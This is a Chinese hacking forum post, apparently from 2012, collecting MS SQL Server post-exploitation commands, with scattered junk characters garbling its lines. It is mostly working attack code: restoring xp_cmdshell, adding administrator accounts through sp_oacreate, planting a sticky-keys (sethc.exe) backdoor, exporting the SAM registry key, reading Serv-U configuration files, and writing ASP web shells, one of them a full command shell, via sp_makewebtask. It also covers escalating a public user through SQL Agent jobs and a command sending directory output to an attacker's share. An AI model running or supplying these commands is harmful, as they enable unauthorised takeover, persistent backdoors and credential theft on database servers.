找回密码
 立即注册
查看: 3145|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号4 x+ X9 g! v4 J3 _( Z' ?" u
恢复方法:查询分离器连接后,* s  ]# J8 c/ J3 p% G8 P
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 1 I1 V( u5 |6 u  r5 A
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
6 ~: Q, z, N5 Z, X6 i3 z然后按F5键命令执行完毕
# ~3 S9 I+ g$ L7 ~$ w2 u0 N' l+ n( L* y6 g
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
& i; k" V2 c. E3 `: M) u% Z8 `; h% |恢复方法:查询分离器连接后,
) g  j9 a! P4 l4 q+ j4 C5 e2 U第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
2 G/ Y' _4 M+ l' z: w4 }( x8 H第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'; W1 \3 K2 G/ L: |; H, v, U( e
然后按F5键命令执行完毕2 I. S# |, P3 U

4 _( ^* [$ @3 Q% L3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
: a# d' r  t* _* ?恢复方法:查询分离器连接后,
8 G  `- j3 G. Y& N4 h# r+ O第一步执行:exec sp_dropextendedproc 'xp_cmdshell'4 [2 P. N8 f' V" w
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
# E. ~' c* Z6 o; \) _然后按F5键命令执行完毕  _, P3 I. B2 o; _6 X
: r& X, u2 ]6 r: x
4 终极方法.
% G/ c, S" F* o$ Z% _& w7 A8 x7 r+ D如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
2 ~1 a" ~1 m/ \3 q( t9 p+ y; _& w查询分离器连接后,5 g$ V- G& ^( [% a5 e3 I
2000servser系统:9 A! o7 x& ]2 {- k! |# U
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'; s' c- ^- J. z, {

9 N- z% N* b4 ?% pdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add': V4 q! l4 M+ M9 e% z/ C
1 V/ \  I9 H% I% U* K3 `" B9 J- t$ H" f
xp或2003server系统:
  D9 ^% H7 D" V4 v& F5 A
" m% S& I" N$ M1 ^3 Xdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
1 P! B3 H; b3 C4 x" x+ ^4 f, A2 F. x+ B( D' [
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'# q& E! p1 T0 ~* \

# d* g3 J& M, J6 j7 ^  f$ n
. C/ s+ w. g. C+ M- K五个SHIFT
+ i$ E* j5 w) O# i+ L/ ^declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';) z# E$ W& X# u0 \; m% i& P
/ Z; ^) T' ^  w8 H8 a
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
$ W  [( f4 g! O: b( f, ]- H3 _7 Z' S9 U+ f% T. h
xp_cmdshell执行命令另一种方法4 [0 E- G8 T0 `" I1 d0 m
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 8 E! t; h' _' _% V7 s
" n$ K: b. v: Y% O' k0 A
判断存储扩展是否存在+ y. a: v5 S3 q# q  K
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
& q1 j( M5 V  j  I$ h7 I# Y返回结果为1就OK
5 w5 x  d+ e, F- S% Q# e1 y1 |9 s3 \8 M" r, E+ m  g
0 Y* e; O* I. x1 u6 B: j7 \1 p% _
上传xplog70.dll恢复xp_cmdshell语句:
  A: R- P( @: h( ?0 l# Q: l, X9 esp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'2 [# l0 C1 ^) P$ ^

4 _+ E4 Q: d( }) F$ z# D否则上传xplog7.0.dll0 [3 |8 |* W- R' T& e
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
! m1 w0 v5 Q: }( H$ M7 v! l
7 U9 a9 T5 D7 D6 N, ?7 _- ?) v' x$ O% w1 [6 o

9 X' e0 h8 m- ?首先开启沙盘模式:3 R2 R' q! E$ P9 o. t; }( V" y
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',17 K7 F" M; B6 f: C# Z
9 r1 k, @/ F# x/ q9 c9 O7 l( q
然后利用jet.oledb执行系统命令! s! u: b' Z6 {, |
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
" E" J) m: F+ |1 c5 j; F返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了- }5 i- I% g( \7 Q  ^
5 ^* x! N, ?7 E8 E! a1 h
5 A/ P# X6 y" B2 t4 Q8 t9 _4 Q* D' h* C

5 K% ^4 ~3 d( b恢复过程sp_addextendedproc 如下: + w+ C% j6 P) u1 z* ]0 j, h  ]
create procedure sp_addextendedproc --- 1996/08/30 20:13 * C, ]( \8 x4 `
@functname nvarchar(517),/* (owner.)name of function to call */
1 E' @7 t* x( H: G5 s; q@dllname varchar(255)/* name of DLL containing function */
4 r# h: X% q4 Ras
5 {, p- u6 j& |0 y3 `1 g# Y( a7 Xset implicit_transactions off 2 p5 s* J) T. E- E( L4 F
if @@trancount > 0 5 c% t/ ?5 P8 [; D  I
begin
6 f* F( M  T- ?( Q& t# h; R$ \; Qraiserror(15002,-1,-1,'sp_addextendedproc')
5 w# S% D( p, C$ |return (1) 5 s# _: }1 v0 i/ q1 x9 p
end
9 w, ]) w  g! kdbcc addextendedproc( @functname, @dllname)
* T( a. u; V9 a7 n, a$ H/ l* d! Y; H- B5 a: kreturn (0) -- sp_addextendedproc
; f3 [  o; e7 c: p+ k, BGO
/ P. S3 y; E- h9 ^$ I* M8 F/ X
1 Q9 D/ H' U. q* m/ g9 q0 I1 C% Z6 n. M- C

: {0 d6 q; i9 z( B导出管理员密码文件
3 G$ _3 Y( Z# k$ Osa默认可以读sam键.应该。
; Y8 L8 m) t1 V* H) Jreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
0 n; S6 [3 \9 Fnet user administrator test* S" {) w3 k/ j5 i) C" ^
用administrator登陆.
# H5 v3 c# P- p用完机器后
' v2 L) G* d5 P: S' R8 u5 g2 A* i' |reg import c:\test.reg
- }& w  C- S! n根本不用克隆.
+ L/ I5 u& d! Y, G* H找到对应的sid. " T9 J5 `' b' A, u! m( J

% c: E$ J3 |0 u- r% C5 i7 Q+ q! }4 G9 i: R6 Z) ~; [) m
& |3 L, F* h3 ^) n4 \6 N
恢复所有存储过程  s5 G' X/ O( q, q% O
use master + p' {/ t; x4 p+ S" J$ |
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' . J$ E1 n$ F) P
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 3 ?2 S1 ?  q; N+ m0 h1 B: g" o
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' / M, |6 Y7 N/ Y
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
0 T, ]1 O3 Y, c$ Dexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
' u! S( {  A/ p6 q6 P7 \exec sp_addextendedproc sp_OACreate,'odsole70.dll' & O5 W. T/ K- ?: B5 Z' ?# ~
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 3 p) F0 m+ j$ \( b( s0 `' u# r
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
7 K: d6 W3 I) d% j- vexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
! K/ }5 m. G/ U# h1 Eexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
4 f0 c! L2 _$ {; _0 Vexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
3 m9 o6 ~" T0 X/ e6 pexec sp_addextendedproc sp_OAStop,'odsole70.dll' 1 a9 n) }% _0 q; N: j
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' / s, H5 F+ N% {; x  r( b2 ?
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 7 _, q  `& q& S5 q: G/ }: w" L
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
0 i3 e# E, A7 G; @9 O& I, H0 Jexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 0 Q+ H1 a' K$ i  B& y; z
exec sp_addextendedproc xp_regread,'xpstar.dll' : r) [0 K4 [7 Z" }0 r0 Y6 ~/ ?; _
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 4 d7 V8 Z# a" J( o' Z5 I5 r% L
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
- }+ ~# _" ~8 [! Qexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
7 K  Z# r! Z' r: L( [3 }* A8 {$ q# m- R; t

, U( A0 W& p9 u- Z& x' u3 c建立读文件的存储过程
" {* E* E8 G, Q! X  |5 m& k! dCreate proc sp_readTextFile @filename sysname
' l$ x7 V( Q7 ^, Y# b7 `as
7 _: T8 J) ?- w# I0 m
6 g9 h  ]  G# L/ `9 ~" B    begin ' Z/ b! t5 T$ n& A& @
    set nocount on
) D9 ~# I2 k2 g/ y' G0 D    Create table #tempfile (line varchar(8000)); _; Z2 o& f: N& b8 Q; U
    exec ('bulk insert #tempfile from "' + @filename + '"')
- x- o' S6 g$ n0 E1 X$ L7 A    select * from #tempfile
4 E" b/ g+ b. c/ ^+ ~    drop table #tempfile, o9 c7 R2 ~9 s: f
End: E6 y$ l' D: a& \4 X
- ]  X5 M# h8 p- N( W% @0 W
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件% k% Y" R; I- L. A! w
查看登录用户
, b1 B: D8 h( i6 R5 ]Select * from sysxlogins
0 h% @, |- g- b9 i0 y7 {7 D
! c9 e! @+ w7 ~& ?+ x把文件内容读取到表中) `* O8 J: S) {3 j
BULK INSERT tmp from "c:\test.txt", R5 b' [( R8 o: I) z0 U
dElete from 表名 清理表里的内容
; o) }# D' u- G' G5 W: [: `0 Xcreate table b_test(fn nvarchar(4000));建一个表,字段为fn7 X; d" l- @' V1 i* U8 `

. h  c- L+ z2 F' d6 j# ?2 R& |$ ~
- [! F! s5 X+ s! _9 |' r. L加sa用户- m" G- |6 e- c) e. ~& X. U8 j7 y$ ~
exec master.dbo.sp_addlogin user,pass;
5 |" J8 T1 h5 a" d( gexec master.dbo.sp_addsrvrolemember user,sysadmin
1 ^; b0 h5 p: G& h! _5 `# X# P9 Y% d
; p- h' O# C8 l
0 H7 O/ x1 \/ L1 S  L8 F
读文件代码
6 t0 q' q9 F" M2 b8 V2 Edeclare @o int, @f int, @t int, @ret int* t6 U' _- ?) ^, _# B0 x2 i
declare @line varchar(8000)- X$ P7 _3 D) `: e' G  w
exec sp_oacreate 'scripting.filesystemobject', @o out- T7 X, {4 n7 f4 X  S9 Z
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
: A0 f) M) e2 V& Xexec @ret = sp_oamethod @f, 'readline', @line out0 Q9 r2 e* w8 i
while( @ret = 0 )( H" f: W5 o) W4 Z
begin
) A4 U4 x4 T, W( b0 @/ |' Mprint @line1 ~! B) P# b: Q- O" ~- I; d
exec @ret = sp_oamethod @f, 'readline', @line out4 {6 I" X3 y* w% b5 E( U+ B
end
+ z: b# r( J3 O8 A- K
8 _" ?, m5 O' y1 p' b$ z: y$ [3 N
写文件代码:
  I, G% \6 A+ Z) A# W( A" _& ddeclare @o int, @f int, @t int, @ret int9 [. O1 z& O3 E* O- V
exec sp_oacreate 'scripting.filesystemobject', @o out( D. l' [: d  S
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1/ Z# g! i; Z) T5 {" R5 i
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》& _* Z5 ^% w1 Z1 d0 t. S2 N

& b2 S* v3 k( q# L' x. z7 @4 y, Q2 D& u& N0 i
添加lake2 shell, a9 Y# r) T; x
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
$ X& |8 a: `+ F' b9 \  }) v% Jsp_dropextendedproc xp_lake2
" ^( K, [# y! j8 s6 \" pEXEC xp_lake2 'net user'- c! a+ D7 q' _6 L% P

; o  |: {: d/ M. G- ^# |" N5 O. j  j8 k
得到硬盘文件信息
* I0 r. q* c. G6 b3 N) L& i--参数说明:目录名,目录深度,是否显示文件
' @/ u5 O# f+ z7 p1 ^  H0 Aexecute master..xp_dirtree 'c:'
) Q' ^6 f* d5 A0 B4 ?9 k2 Bexecute master..xp_dirtree 'c:',1
4 z/ R" l4 a& dexecute master..xp_dirtree 'c:',1,1 : c/ [& f% S; p8 G; I  A
3 x, z$ U1 W" D! B+ K/ W
3 V2 S" }5 {- G6 T, p2 W- Q3 s/ T
读serv-u配置信息
2 R3 B) b- H: w- R" K% oexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
% F& ]: V) B& iexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
6 a6 g# ~; q) r7 `% K2 a/ A6 L! y0 U# r% b
通过xp_regwrite写SHIFT后门0 B! [- `- F9 y9 M0 z" j- y
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--$ p! U6 S' O9 [$ D+ A: y0 X! f  M
# f) R# K( Q) V  s) \3 }/ h
3 F  K) I4 {% M0 @
; T9 ?5 V  K; J$ w* p" Z+ h/ H
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';7 w% ?# w' Q. P2 z$ o+ z
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了2 p! |. f! p, e' Z$ m3 j8 D* \
) h' v7 ^$ O& [
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'6 p% A: Y. f5 M, Q8 \1 c

* i7 s9 c5 R, s+ s2 A5 T5 U& U3 }: M+ B
/ C, r  d3 J/ _( R$ w+ V% g$ {! t: H8 L7 x7 X
sql server 2005下开启xp_cmdshell的办法
  P$ o& x% j3 H7 y' ^& e) ~- u' Z: k9 k1 Q% X
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  q1 G, g( t& d! ]/ ]) o7 ~8 J$ G2 f% b( z% M0 v
SQL2005开启'OPENROWSET'支持的方法:
) F3 i/ A$ b1 s) W* p: ?; U: n% l( ^  ?2 C% h* A, J1 O
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
$ C0 B1 D" ^  ^1 V- a/ S0 L$ M' `9 F! W( [5 V" @
SQL2005开启'sp_oacreate'支持的方法:
5 ?$ s4 C) i# x: m" P' L
) [& H# s/ m3 A. ^6 J. z5 x$ hexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
" o; M' @+ a# x- h
$ x7 I4 `% x* L8 n8 R0 }; i9 S3 ], {" {# a* l* q# d8 F: L$ k% [& v
# a. t7 O4 m- x  J4 T6 S# d6 Z

4 q& j9 C% X' I' Z8 [# r1 P+ A
' w  F5 Y/ D3 @" k
" W# c8 S# E% O- O. A3 Q! e9 S; h3 i# M# Y+ d
+ Z) A7 O, K: n* A, N0 Z
! i! @' n; j5 X  U% U& J# K; h  V/ J$ w  F' Z6 ~$ d
6 [) K: z; x: f0 f4 ~
/ T6 w1 {( ]3 S+ R7 P6 g
/ w4 B4 E! D' c6 b0 }/ Z

* z* v* @7 N. v! x1 @0 m1 o; t: F% i" x$ }7 O; Y3 u
" I$ E+ p, |! S( A( `
: d# `, r! B+ P$ k. A
! P- C( n9 Y* r0 l8 e

. c( U/ j' S: N; R8 p
% s0 M" `0 d% a" f4 V) f$ U0 b" B7 P, B

# x, B: e2 j) G7 c: D$ K
1 w3 ^  A3 Q  {8 s* B+ C! `
1 R: l( W1 C, J, M: p3 q
& c4 }# C- w) L% w2 W, v4 @以下方面不知道能不能成功暂且留下研究哈:
  y! q$ m# |3 a& J4)
  n$ l  W& r# Z" p4 @use msdb; --这儿不要是master哟7 w- M; q4 n  f! ?8 T
exec sp_add_job @job_name= czy82 ;
1 }1 H+ t* X6 F5 O  _( o, s, texec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;* c( w% ^3 Z  W8 W3 V% [' W
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;% M6 y, }% W3 s0 X, l8 O* O0 H- Q
exec sp_start_job @job_name= czy82 ;
, M: n+ z7 c6 M8 f4 O* h/ L% X& e: i& j- J2 b6 h, B2 S
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
7 `, T) s2 {; o/ T0 u% d# O执行tsql语句了.1 ]: s$ L! d9 A1 f! r& J$ l8 e
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名8 s5 D4 U3 r: s$ r" ~( E
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
$ |# l9 x' H& D  unet start SQLSERVERAGENT! T3 _0 V1 R, V! W$ B

" ?7 D" T$ @% k0 g" }; h对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
5 o# ?9 h/ W# f, Q$ KUSE msdb9 M1 w! J- f/ J& m9 B; P# L* u! U
EXEC sp_add_job @job_name = GetSystemOnSQL ,' d# e# L" D3 e8 R, Y/ O
@enabled = 1,/ t2 w! A! f/ E5 [6 O% [
@description = This will give a low privileged user access to2 J: V* x8 @$ \! H
xp_cmdshell ,
0 H5 T! Y( i1 Z. w; ?  C0 ?@delete_level = 1
6 Z) I9 u8 C$ M7 k4 `0 S1 SEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
; ^( i- O) E0 X: W7 F* U@step_name = Exec my sql ,
5 N4 A' O9 J- D) V; o" i@subsystem = TSQL ,
* K, s2 [) |. _7 R8 D+ c@command = exec master..xp_execresultset N select exec
8 H6 m0 T( s1 b- `7 B1 R) Y7 ymaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
6 @% Q3 r$ g% i, W( ]EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,: q5 h( t0 R; Z# h3 j
@server_name = 你的SQL的服务器名
' V# d  U# I  g7 O# ]+ r0 hEXEC sp_start_job @job_name = GetSystemOnSQL - P' Z: Y& b8 X" Z  x/ I5 B

* D& Z% l- G3 d4 s! q: G不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
/ F. @& f4 N  `8 K才让我们可以以public执行xp_cmdshell
. \9 h+ q5 F6 K" Y& r! i, m/ x0 |. X* F: \2 W2 Q" ^
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
, O- j! r5 M0 \! t& C, K- S! S- k在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968. |7 }$ M' e: J0 x! Y& H
% W# K8 A: b# `6 ?/ {! i6 W
USE msdb
& I$ C0 A) `- `6 k; G3 xEXEC sp_add_job @job_name = ArbitraryFilecreate ,
: ]# h$ n3 U4 H- ?7 U- c$ e@enabled = 1,) A4 _8 S6 H9 f  R
@description = This will create a file called c:\sqlafc123.txt ,% r$ b6 L. M$ W* F& T7 O
@delete_level = 1
8 V( G2 w1 F. @# |6 i  DEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
# L% k5 c( Z$ t/ N) x- ^# a@step_name = SQLAFC ,
) ~) e& k7 U( t( z3 T@subsystem = TSQL ,
9 P& i$ ^/ m" B9 f+ A' R7 l@command = select hello, this file was created by the SQL Agent. ,7 k4 i2 x+ r% U! a3 c$ {1 h
@output_file_name = c:\sqlafc123.txt
' `7 k5 K- [, s/ NEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,- M7 f' U- m0 u. J+ Y
@server_name = SERVER_NAME " T  O( e- G* V% B
EXEC sp_start_job @job_name = ArbitraryFilecreate
9 P% P3 m3 u$ u6 ^/ P& `5 C" H
* K; \7 u4 f, F2 K9 E+ K如果subsystem选的是:tsql,在生成的文件的头部有如下内容
9 j+ S+ R. v3 S: e1 ]; r6 v. h0 `3 A" h" R2 I. I
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
8 |5 O  v# E1 }" @, ~4 P----------------------------------------------
$ t5 o- K+ c! e1 zhello, this file was created by the SQL Agent.
! U; J; V) O  b
9 R9 i( q6 K6 d% k3 }: w(1 ?????)' F( ^* m, |% P5 h

$ u+ k! p1 j  j4 q+ Y% t9 m所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
2 J- T+ b( U7 K# T. S命令的vbs文件到启动目录!
! T* O& V& E+ E" I! h! z) e! ~. o. Z& d! z; Y! }# V
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)- d( p, {& |9 v& p
关于sp_MScopyscriptfile 看下面的例子
# {5 g0 g+ ?% ?declare @command varchar(100) 2 M2 ]  `  {7 y$ m; n' Z: T
declare @scripfile varchar(200)
+ p9 k1 B  V" R6 Y+ R1 ]) uset concat_null_yields_null off
' v7 x( m9 n; jselect @command= dir c:\ > "\\attackerip\share\dir.txt" + I. m1 }/ x+ |: U4 F
select @scripfile= c:\autoexec.bat > nul" | @command | rd " 4 d2 \' o. z+ G$ B* y( N
exec sp_MScopyscriptfile @scripfile ,
1 J* B9 P9 \3 L( W2 @" z+ l
- @" d; S6 s7 ~, s8 v1 U这两个东东都还在测试试哟/ @  T( E% Z" O' u5 h4 t. f/ z
让MSSQL的public用户得到一个本机的web shell4 X0 [0 x) B4 R

1 d7 w: _7 _3 y) d9 c2 \sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
8 z, T* U8 y, W; J6 }5 D$ G--@query= select <img src=vbscript:msgbox(now())>
" X% U' n5 G) m- ]& d( z--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> / K; d* \1 {! h' l
@query= select
6 q* X9 f+ t: M& u4 R: a; R<%On Error Resume Next 6 [1 @7 P0 B* H; L8 {( z) j
Set oscript = Server.createObject("wscript.SHELL") ( ~6 D/ o7 T5 `. V- D5 G
Set oscriptNet = Server.createObject("wscript.NETWORK")
5 B3 B8 m8 C. [/ M, S7 @" p) mSet oFileSys = Server.createObject("scripting.FileSystemObject") : ^5 N7 T6 _  x2 X2 T0 t
szCMD = Request.Form(".CMD")
$ S5 G, f3 c6 m3 j% o1 x4 x# iIf (szCMD <>"")Then - ^4 ?$ X* ]8 X0 g
szTempFile = "C:\" & oFileSys.GetTempName()
5 C3 |2 V. m# H1 F, ~$ {: uCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
( H5 v3 w, ]3 n9 z8 O5 p* _. mSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 7 [- J9 x1 s3 q2 q4 ?4 d: k
End If %>
- H0 e; J0 J# G<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
" u6 z6 c  h6 {) l<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
+ ^9 z1 c2 R" I+ ?5 q</FORM><RE> 8 S/ _. S6 |8 F
<% If (IsObject(oFile))Then
- K2 Q; _% d5 |1 P" ?On Error Resume Next 2 k/ L$ C" j+ k" i* S
Response.Write Server.HTMLEncode(oFile.ReadAll)
/ p5 l# v, U7 OoFile.Close . U$ |) Y1 r2 n  O! T6 y+ V$ }
Call oFileSys.deleteFile(szTempFile, True) 4 E) u$ W& D$ v" n7 t3 k: O1 o: K$ [
End If%> 4 f' S/ v; i% T' B  Y
</BODY></HTML> 8 v/ A7 l$ N* w3 L8 i* F  I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表